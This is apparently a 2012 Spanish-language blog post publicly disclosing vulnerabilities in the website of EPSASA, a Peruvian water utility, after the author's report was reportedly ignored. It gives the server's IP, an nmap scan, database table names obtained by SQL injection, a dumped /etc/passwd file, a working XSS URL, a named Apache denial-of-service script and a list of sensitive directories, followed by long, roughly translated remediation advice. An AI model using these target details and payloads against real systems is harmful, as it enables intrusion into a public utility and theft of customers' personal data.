EPSASA: 41880 usuarios vulnerables con información sensible

[caption id="" align="alignleft" width="257"] EPSASA

EPSASA[/caption]

Las vulnerabilidades fueron enviadas al correo electrónico de EPSASA pero hicieron caso omiso. Pero ahora al ser publicados espero que lo tomen con mayor responsabilidad en consideración las vulnerabilidades, pues la Empresa de EPSASA cuenta con más de 41880 usuarios en el cuales se encuentra información sensible, el número de empleados, la cantidad de tarifa de cada usuario, en caso de que callera en manos de gente inescrupulosa podría usarla para engaños y phishing . Además de que se tiene el servidor y su base de datos accesibles desde cualquier ordenador.

Después de un par de meses sin dar rastros de vida con ningún post, llego la hora pues me encontraba alejado de la web ya que estuve fuera por las vacaciones y aumentando conocimiento que tenía acerca de los Pentesting de las web, y ahora lo puse en práctica lo aprendido en estos 2 meses de inactividad.

Recientemente mi ciudad estaba sufriendo un caos total ya que la un 80% de las personas no contamos con el servicio de agua y el otro 20% cuenta pero de una manera racionalizada. Esto se debido a un huayco que origino dicho problema, el personal a cargo manifestó que se encontraban en plena agilización de la compra de tubos y materiales para la construcción de un ByPass y de esta manera administrar el recurso hídrico a la ciudad de Huamanga, creí que les tomaría unos 3 dias o 5 pero creo que aún no pueden solucionar el problema, entonces puse en contacto con mi proveedor de agua potable para pedirle que agilizara el ByPass pero me respondieron que estaban en ello también les pedí que llevaran las cisternas a las los lugares en donde el agua no podía llegar pues necesitaban la presión suficiente para debido a que todos abren la llave del grifo para llenar sus recipientes eso hace que la presión sea poca y el racionamiento es de las par de horas para poder tener acceso al recurso hídrico es insuficiente. En mi caso solo cuentaba con 30minutos de 5:30 a.m a 6:05 a.m siendo con un chorro de agua débil, pero al parecer ahora es la mitad del día.

Ya que hicieron caso omiso al pedido de las cisternas, entre a la página en busca de información para saber con claridad cuando será reparado el problema, pero no encontré más que archivos pdf en los que aclaraban el problema y el horario de racionamiento en el cual según ello a mi distrito le tocaría le tocaría 2 horas, pero la pura verdad es que solo tengo casi como 30 hora y con ese chorro solo puedo llenar un par de baldes.

Mientras navegaba en su sitio web se fue la línea del internet así que la única página que tenía abierta era la de EPSASA abrí mi terminal : ping epsasa.com.pe –t esperando que me respondiera para así de esa manera darme cuenta de que el internet se había restablecido pero cuando empezó a hacer los ping me percate que tenía una IP muy familiar percate de algo interesante que tenía una ip muy familiar 190.40.56.50 era la de Perú, eso me daba a conocer que el servidor se encontraba en alguna parte de Perú ya que por más que utilizara geo localización es casi improbable que me diera una ubicación exacta. Y en eso se me vino la curiosidad de que gestor se encontraba. Trate de ver el código fuente y algunos otros recursos donde me arrojo que corría en APACHE … Wuou… !!! y de una versión si es que mis recuerdos no me fallaban una versión vulnerable a DOS (Denegación de servicio – el arma de MafiaBOY) .

Entonces quise ir un poco más allá entonces empecé a navegar por los enlaces de la página entrando y saliendo de uno me percate que tenía algo que se me hacía muy conocido “empresa/?idcategoria=” además tenía un search al lado pero =( mala suerte no realizaba ninguna búsqueda, de ahí empecé a navegar por el directorio y me encontré con una sorpresa más que el manual del PhpMyAdmin y el de Apache no habían sido borrados y los podía ver con facilidad de esa manera conocí la versión del PhpMyAdmin 3.4.9 (http://190.40.56.50/phpMyAdmin/Documentation.html) y el del Apache 2.3 (http://190.40.56.50/manual/de/howto/auth.html ). Aun sentía más curiosidad, pues como sabia poseía un intranet (http://190.40.56.50/intranet/) y un Webmail (http://190.40.56.50/webmail/src/login.php ). Si tenía un intranet de seguro corría en el puerto 443 claro el SSL además de un SMTP(la del correo) y un POP, eso era todo lo que podía averiguar, asique agarre mi tolos preferida NMAP, claro para tener más información acerca de los puertos que tenía abierto y con un poco suerte el sistema operativo en el que corría el servidor (aun que me latía que era algún Distro de Linux).

Así que a escanear…. Loading… DESPUES DE UNOS MINUTOS… ¡!

22/tcp open ssh OpenSSH 4.3 (protocol 2.0)

80/tcp open http Apache httpd 2.2.3 ((CentOS))

110/tcp open pop3 Dovecot pop3d

111/tcp open rpcbind

143/tcp open imap Dovecot imapd

443/tcp open ssl/http Apache httpd 2.2.3 ((CentOS))

801/tcp open rpcbind

3306/tcp open mysql MySQL 5.1.58

Running (JUST GUESSING): Linux 2.6.X (89%), ISS Linux 2.4.X (87%)

OS CPE: cpe:/o:linux:kernel:2.6.18 cpe:/o:iss:linux:2.4

Envié un correo electrónico a EPSASA dando los errores pero hicieron caso omiso . Pero ahora al ser publicados espero que lo tomen con mayor responsabilidad.

CONSULTAS SQL "Inyeción Sql"

eps_area

eps_categoria

eps_cliente

eps_contenido

eps_detallefac

eps_documento

eps_estado

eps_facturacion

eps_gerencia

eps_imagen

eps_opcionweb

eps_subcategoria

eps_tipocontenido

eps_usuario

lectura

tarifahgacom

tarifahtacom

Después de ello hice la consulta a eps_usuario . Donde me arrojo 30 rows (30 usuarios).

Por obias razones no puedo publicarla.

idusuario idarea email clave nombre apellido dni sexo activo nivel

Navegando por el dir de Password ya que es Linux .

shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown

halt:x:7:0:halt:/sbin:/sbin/halt

mail:x:8:12:mail:/var/spool/mail:/sbin/nologin

news:x:9:13:news:/etc/news:

uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin

operator:x:11:0:operator:/root:/sbin/nologin

games:x:12:100:games:/usr/games:/sbin/nologin

gopher:x:13:30:gopher:/var/gopher:/sbin/nologin

ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin

nobody:x:99:99:Nobody:/:/sbin/nologin

distcache:x:94:94:Distcache:/:/sbin/nologin

nscd:x:28:28:NSCD Daemon:/:/sbin/nologin

vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin

mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash

pcap:x:77:77::/var/arpwatch:/sbin/nologin

ntp:x:38:38::/etc/ntp:/sbin/nologin

dbus:x:81:81:System message bus:/:/sbin/nologin

apache:x:48:48:Apache:/var/www:/sbin/nologin

avahi:x:70:70:Avahi daemon:/:/sbin/nologin

rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin

named:x:25:25:Named:/var/named:/sbin/nologin

mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin

smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin

sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin

webalizer:x:67:67:Webalizer:/var/www/usage:/sbin/nologin

dovecot:x:97:97:dovecot:/usr/libexec/dovecot:/sbin/nologin

squid:x:23:23::/var/spool/squid:/sbin/nologin

sudo /sbin/shutdown -p now

/etc/group

(root) a la cuenta en cuestión.

Lo unico que identifica a una cuenta root del resto es una identificación UID igual a 0. Podemos tener por ejemplo una cuenta llamada "pepito" pero con UID igual a 0, esta cuenta tendría permisos de administrador (root) y muchos programas que hacen referencia al nombre de la cuenta (ej: who, w, etc) no nos darían información sobre que la cuenta "pepito" tiene permisos de root.

Esto es lo primero que un hacker suele hacer para instalar una puerta trasera en un sistema. Para averiguar cuentas con nombre diferente de root, pero permisos de root existen programas, pero a falta de uno podemos utilizar el siguiente comando:

awk -F: '{if ($3==0) print $1}' /etc/passwd

Lo mismo (con un pequeño cambio) se puede utilizar para ver cuentas con GID igual a 0:

awk -F: '{if ($4==0) print $1}' /etc/passwd

Además se puede hacer una consulta a la base clientes:

Que también por obias razones no pudo publicarla. Pero esta por de ams decir que se puede obtener lo siguientes datos de sus 41880 usuarios.

Y entre otras tablas se puede tener acceso total a la DB.

Solución a ataques SQL

Desinfecte la entrada
Es absolutamente vital para desinfectar las entradas del usuario para asegurarse de que no contienen códigos peligrosos, ya sea en el servidor SQL o HTML. Una primera idea es la que se deben eliminar "cosas malas", como cotizaciones o punto y coma o escape, pero esto es un intento equivocado. Aunque es fácil señalar algunos caracteres peligrosos, es más difícil para apuntar a todos ellos.

El idioma de la web está llena de caracteres especiales y marcas extrañas (incluyendo formas alternativas de representar los mismos personajes), y los esfuerzos para identificar con autoridad todos "cosas malas" es poco probable que tenga éxito.

En cambio, en lugar de "eliminar datos malos conocidos", que es mejor "eliminar todo lo que no se conocen datos de buena calidad": esta distinción es crucial. Dado que - en nuestro ejemplo - una dirección de correo electrónico sólo puede contener los siguientes caracteres:

abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
0123456789
@.-_ +
No hay realmente ningún beneficio al permitir que los caracteres que no pueden ser válidos, y el rechazo de los principios - presumiblemente con un mensaje de error - no sólo ayuda a prevenir la inyección de SQL, pero también las capturas de meros errores tipográficos temprano en lugar de los almacena en la base de datos.

Tenga en cuenta que "la desinfección de la entrada" no significa simplemente "quitar las comillas", porque incluso "normales" los personajes pueden ser problemáticos. En un ejemplo en el que está siendo un valor de identificador de número entero en comparación contra la entrada del usuario (por ejemplo, un PIN numérico):

SELECT listadecampos
FROM tabla
WHERE id = 23 OR 1 = 1, - Boom! Siempre coincide!
En la práctica, sin embargo, este enfoque es muy limitado debido a que hay muy pocos campos para los cuales es posible excluir abiertamente muchos de los personajes peligrosos. Para las "fechas" o "direcciones de correo electrónico" o "enteros" que puede tener el mérito, sino para cualquier tipo de aplicación real, uno simplemente no puede evitar las mitigaciones otros.

Escape / Quotesafe la entrada
Aunque uno podría ser capaz de desinfectar un número de teléfono o dirección de correo electrónico, no se puede adoptar este enfoque con un campo "nombre" para que no se quiere excluir de la talla de Bill O'Reilly de la propia aplicación: un presupuesto es simplemente un carácter válido para este campo.

Uno de ellos incluye una cita real solo en una cadena SQL poniendo dos de ellos juntos, por lo que esto sugiere lo obvio - pero mal! - Técnica de preprocesamiento cada cadena para replicar las comillas simples:

SELECT listadecampos
FROM clientes
WHERE nombre = 'O'' Reilly Bill', - funciona bien
Sin embargo, este enfoque ingenuo puede ser mejor porque la mayoría de bases de datos compatible con otros mecanismos de escape de cadenas. MySQL, por ejemplo, permite también 'para escapar de una cita, así que después de la entrada ', los usuarios DROP TABLE, - está "protegida" por el doble de comillas, se obtiene:

SELECT listadecampos
FROM clientes
WHERE nombre = '''; usuarios DROP TABLE, -', - Boom!
La expresión ''' es una cadena completa (que contiene sólo una comilla simple), y los habituales travesuras SQL siguen. No se detiene con barras invertidas o bien: hay codificaciones Unicode, otros, y rarezas de análisis todo escondido en la maleza de viaje por el diseñador de la aplicación.

Obtener cotizaciones de derecho es muy difícil, por lo que muchos idiomas de interfaz de base de datos proporcionan una función que lo hace por usted. Cuando el código interno es el mismo para citar "cadena" y "análisis de cadenas", es mucho más probable que el proceso se realiza correctamente y con seguridad.

Algunos ejemplos son la función mysql_real_escape_string MySQL () y Perl DBD método $ dbh-> presupuesto ($ valor). Estos métodos deben ser utilizados.

Utilice los parámetros consolidados (la sentencia PREPARE)
Aunque quotesafing es un buen mecanismo, todavía estamos en el área de "entrada del usuario teniendo en cuenta que SQL", y un enfoque mucho mejor que existe: los parámetros consolidados, que son compatibles con prácticamente todos los interfaces de programación de bases de datos. En esta técnica, una serie de sentencia SQL se crea con marcadores de posición - un signo de interrogación para cada parámetro - y es compilado ("preparado", en el lenguaje SQL) en un formato interno. Más tarde, esta consulta preparada se "ejecuta" con una lista de parámetros:

Ejemplo en Perl
$ Sth = $ dbh-> prepare ("email SELECT, FROM miembros DÓNDE ID de usuario = correo electrónico;?");
$ Sth-> execute ($ email);
Gracias a Stefan Wagner, esto demuestra parámetros enlazados en Java:

Versión insegura
Declaración Connection.createStatement s = ();
ResultSet rs = s.executeQuery ("SELECT correo electrónico de un miembro del WHERE nombre ="
+ FormField) / / * la pluma *
Versión Secure

PreparedStatement ps = Connection.prepareStatement (
"SELECT correo electrónico de un miembro del WHERE = nombre?");
ps.setString (1, FormField);
ResultSet rs = ps.executeQuery ();
En este caso, $ email son los datos obtenidos de forma del usuario, y que se pasa como parámetro de posición # 1 (el primer signo de interrogación), y en ningún momento el contenido de esta variable tiene nada que ver con el análisis de instrucciones SQL. Cotizaciones, puntos y comas, barras, notación comentario de SQL - nada de esto tiene algún impacto, porque es "sólo datos". No hay simplemente nada para subvertir, por lo que la aplicación es en gran medida inmune a ataques de inyección SQL.

También puede haber algunas ventajas de rendimiento si esta consulta preparada se reutiliza varias veces (que sólo tiene que ser analizado una vez), pero este es menor en comparación con los beneficios de seguridad enormes. Este es probablemente el paso más importante que uno puede tomar para asegurar una aplicación web.

Limite los permisos de base de datos y segregar los usuarios
En el caso que nos ocupa, se observó a dos interacciones que se realizan no en el contexto de un usuario que ha iniciado sesión en: "log in" y "envíame contraseña". La aplicación web debe utilizar una conexión de base de datos con los posibles derechos más limitados: query acceso sólo a los miembros de la mesa, y no tienen acceso a ninguna otra tabla.

El efecto es que incluso un "éxito" ataque de inyección SQL va a tener mucho más éxito limitado. En este sentido, no habría sido capaz de hacer la solicitud de actualización que finalmente nos concedió el acceso, por lo que nos hemos tenido que recurrir a otras vías.

Una vez que la aplicación web que determina un conjunto de credenciales válidas había sido pasado a través de la forma de la conexión, entonces tendría que cambiar de sesión para una conexión de base de datos con más derechos.

Debe ir casi sin decir que los derechos de sa nunca debe ser usado para cualquier aplicación basada en web.

Utilice procedimientos almacenados para la base de datos de acceso
Cuando el servidor de base de datos de las soporta, utilizar procedimientos almacenados para realizar el acceso en nombre de la aplicación, que puede eliminar completamente SQL (suponiendo que los procedimientos almacenados se han escrito correctamente).

Al encapsular las reglas para una determinada acción - consultar, actualizar, borrar, etc - en un solo procedimiento, que pueden ser probados y documentados de manera independiente y las reglas de negocio forzadas (por ejemplo, el "añadir nuevo orden" procedimiento podría rechazar ese orden, si el cliente eran por encima de su límite de crédito).

Para consultas simples esto puede ser solamente un beneficio menor, pero a medida que las operaciones se vuelven más complicados (o se utilizan en más de un lugar), que tiene una definición única para la operación significa que va a ser más robusto y fácil de mantener.

Nota: siempre es posible escribir un procedimiento almacenado que se construye una consulta dinámicamente: esto proporciona ninguna protección contra la inyección de SQL - es sólo la unión adecuada con preparación / ejecutar o dirigir sentencias SQL con variables ligadas que proporcionan esta protección.

Aislar el servidor web
A pesar de haber adoptado todas las medidas de mitigación, es sin embargo todavía es posible perder algo y dejar el servidor abierto al compromiso. Habría que diseñar la infraestructura de red para suponer que el malo de la película tendrá acceso de administrador completo a la máquina, y luego tratar de limitar la forma en que se puede aprovechar para poner en peligro otras cosas.

Por ejemplo, poner la máquina en una zona de distensión con orificios muy limitadas "dentro" de la red significa que incluso conseguir un control completo del servidor web no concede automáticamente acceso completo a todo lo demás. Esto no va a parar todo, por supuesto, pero lo hace mucho más difícil.

Configuración de informes de errores
La presentación de informes de error por defecto para algunos marcos incluye información para desarrolladores de depuración, y esto no se puede mostrar a los usuarios externos. Imaginen cuánto más fácil una vez que realiza un atacante si la consulta completa se muestra, señalando el error de sintaxis participado.

Esta información es útil para los desarrolladores, pero debe ser restringida - si es posible - sólo para los usuarios internos.

Información tomada de los módulos de CEH.Con algunas previas correciones....

**VULNERABILIDAD XXS ("*inyeción de código malicioso")***

Este tipo de ataque es mediante el ingreso d código malicioso.

Un ejemplo:

Codigo EVIL = "onmouseover=alert("Vulnerable") "

http://190.40.56.50/pes/?idcategoria=305&idseccion=%22onmouseover=alert(%22Vulnerable%22)%20%22&idsubcategoria=125

/pes/?idcategoria=305&idseccion=codigo EVIL&idsubcategoria=124

/pes/?idcategoria=305&idseccion= codigo EVIL &idsubcategoria=124

Casi todo a partir de Directorio /pes/

: XXS EPSASA

SOLUCION del ataque XXS

Introducción
Sitios web hoy en día son más complejos que nunca, que contiene una gran cantidad de contenido dinámico para hacer la experiencia del usuario sea más agradable. El contenido dinámico se logra mediante el uso de aplicaciones web que pueden entregar salida diferente a un usuario en función de su configuración y necesidades. Sitios web dinámicos sufren de una amenaza que los sitios web estáticos no lo hacen, se llama "Cross Site Scripting" (XSS o doblados por otros profesionales de la seguridad). Actualmente pequeños tidbits informativos sobre Cross Site Scripting agujeros existen, pero ninguno realmente se las expliquen una persona promedio o administrador. Este FAQ fue escrito para proporcionar una mejor comprensión de esta nueva amenaza, y para dar orientación sobre la detección y la prevención.

"¿Qué es Cross Site Scripting?"

Cross site scripting (también conocida como XSS) se produce cuando una aplicación web recoge datos de un usuario malicioso. Los datos normalmente se reunieron en la forma de un hipervínculo que contiene el contenido malicioso dentro de ella. El usuario hará clic más probable en este enlace desde otra página web, mensajería instantánea, o simplemente leer un tablón electrónico o un mensaje de correo electrónico. Por lo general, el atacante codificar la porción malicioso del enlace al sitio en HEX (u otros métodos de codificación), por lo que la petición es menos sospechoso que mira al usuario cuando hace clic sobre. Cuando los datos se recogieron mediante la aplicación web, se crea una página de salida para el usuario que contiene los datos maliciosos que fue enviado originalmente a la misma, pero de una manera de hacer que parezca como contenido válido de la página web. Muchos programas populares y libros de visita foros permiten a los usuarios enviar mensajes con HTML y JavaScript incrustados en ellas. Si por ejemplo yo estaba conectado como "john" y leer un mensaje de "joe" que contiene código JavaScript malicioso en él, entonces puede ser posible que "joe" para secuestrar mi sesión con sólo leer su post tablón de anuncios. Para más detalles sobre cómo los ataques como este se logra a través de "robo de cookies" se explican en detalle a continuación.

"¿Qué XSS y CSS decir?"

A menudo la gente se refiere a Cross Site Scripting como CSS. Ha habido mucha confusión con las Hojas de Estilo en Cascada (CSS) y cross site scripting. Algunas personas se refieren a la seguridad de Cross Site Scripting como XSS. Si usted oye a alguien decir "Encontré un agujero XSS", están hablando acerca de Cross Site Scripting con certeza.
"¿Cuáles son las amenazas de Cross Site Scripting?"

A menudo, los atacantes inyectar JavaScript, VBScript, ActiveX, HTML o Flash en una aplicación vulnerable para engañar a un usuario (Lea a continuación para más detalles) con el fin de recopilar datos de ellos. Todo, desde el robo de cuentas, el cambio de la configuración del usuario, robo de cookie de publicidad / envenenamiento, o falso es posible. Nuevos usos maliciosos se encuentran todos los días de los ataques XSS. El puesto más abajo por Brett Moore trae a colación un buen punto con respecto a la "denegación de servicio", y el potencial de "auto-ataque" de los ejércitos, si un usuario simplemente lee un mensaje en un tablón de anuncios.

"¿Qué puedo hacer para protegerme como vendedor?"

Esta es una respuesta simple. Nunca confíes en la entrada del usuario y metacaracteres siempre filtro. Esto eliminará la mayoría de los ataques XSS. La conversión de <y> a <y> se sugiere también cuando se trata de la salida del script. Recuerde agujeros XSS puede ser perjudicial y costoso para su negocio si se abusa. A menudo, los atacantes divulgarán estos agujeros para el público, que puede erosionar al cliente y la confianza pública en la seguridad y privacidad del sitio de su empresa. Filtrado <y> por sí sola no va a resolver todos los ataques de cross site scripting y se sugiere que también tratan de filtrar (y), traduciéndolas a (y), y también # y &, traduciéndolas a # (#) y y (y).

"¿Qué puedo hacer para protegerme como usuario?"

La forma más fácil de protegerse como un usuario único es seguir los enlaces de la página principal que desea ver. Si usted visita un sitio web y que se vincula a la CNN por ejemplo, en lugar de hacer clic en él visite la página principal de CNN y usar su motor de búsqueda para encontrar el contenido. Esto probablemente eliminar el noventa por ciento del problema. A veces XSS se puede ejecutar de forma automática al abrir un correo electrónico, datos adjuntos de correo electrónico, leer un libro de visitas, o post tablón de anuncios. Si planea abrir un correo electrónico, o la lectura de un mensaje en un tablero público de una persona que no sabe TENGA CUIDADO. Una de las mejores maneras de protegerse es desactivar Javascript en su navegador. En IE convertir la configuración de seguridad a alta. Esto puede prevenir el robo de la galleta, y, en general, es una cosa que hacer más seguro.

"¿Qué tan comunes son los agujeros XSS?"

Cross site scripting agujeros están ganando popularidad entre los hackers como agujeros fáciles de encontrar en los sitios web de gran tamaño. Sitios web de FBI.gov, CNN.com, Time.com, Ebay, Yahoo, Apple Computer, Microsoft, ZDNet, Wired y Newsbytes han tenido una forma u otra de errores XSS.

Cada mes aproximadamente 10-25 agujeros XSS se encuentran en productos comerciales y avisos se publican explicar la amenaza.
"¿El cifrado protegerme?"

Los sitios web que utilizan SSL (https) no son en modo protegido que más sitios web que no estén encriptados. Las aplicaciones web funcionan de la misma manera que antes, excepto que el ataque tiene lugar en una conexión cifrada. La gente suele pensar que porque ven la cerradura de su navegador que significa que todo es seguro. Esto simplemente no es el caso.

"¿Pueden los agujeros XSS permitir la ejecución de comandos?"

Agujeros XSS puede permitir la inserción Javascript, lo que puede permitir la ejecución limitada. Si un atacante para explotar una falla browser (navegador agujero) entonces podría ser posible ejecutar comandos del lado del cliente. Si la ejecución del comando eran posibles sólo sería posible en el lado del cliente. En términos simples agujeros XSS se puede utilizar para ayudar a explotar otros agujeros que puedan existir en su navegador.

"¿Qué pasa si no me siento como reparar un agujero CSS / XSS?"

Al no fijar un agujero XSS esto podría permitir compromiso posible cuenta de usuario en partes de su sitio a medida que se agregan o actualizan. Cross Site Scripting se ha encontrado en varios sitios de gran tamaño recientemente y se han difundido ampliamente. Quede sin reparar, alguien puede descubrir y publicar una advertencia acerca de su compañía. Esto puede dañar la reputación de su empresa, lo que representa como siendo laxa en materia de seguridad. Por supuesto, esto también envía el mensaje a sus clientes que no se trata de cualquier problema que se presente, que se convierte en una cuestión de confianza. Si el cliente no confía en ti, ¿por qué quieren hacer negocios con usted?.

ATAQUE DE DENEGACION DE SERVICIO…!! DOS

Usado un simple script hecho en perl llamado “KILLAPACHE” sin necesidad de utilizar una ataque DDOS, ya que no necesitamos maquinas zombies, únicamente con un simple ordenador se puede llegar a dar el tipo de ataque y solo es cuestión de tiempo para que el servidor se venga abajo.

Afecta a las versiones (1.3.x, 2.0.x - 2.0.64 y 2.2.x - 2.2.19) ya que al parecer cuenta con la versión Apache http 2.2.3.

DIRECTORIOS SENSIBLES

Hay una gran cantidad de directorios sensibles.

/archivo

/archivo/contenido

/archivo/documentos

/empresa/archivos

/empresa/images

/files

/files/_notes

/images

/intranet/script

/manual/images

/manual/style

/manual/style/css

/pes/images

/pes/videos

/phpMyAdmin/js

/phpMyAdmin/js/jquery

/phpMyAdmin/themes

/phpMyAdmin/themes/pmahomme

/phpMyAdmin/themes/pmahomme/img

/phpMyAdmin/themes/pmahomme/jquery

/phpMyAdmin/themes/pmahomme/jquery/images

/usuarios/archivos

/usuarios/images

Ayacucho, 02 de octubre del 2012

101 root

martes, 9 de octubre de 2012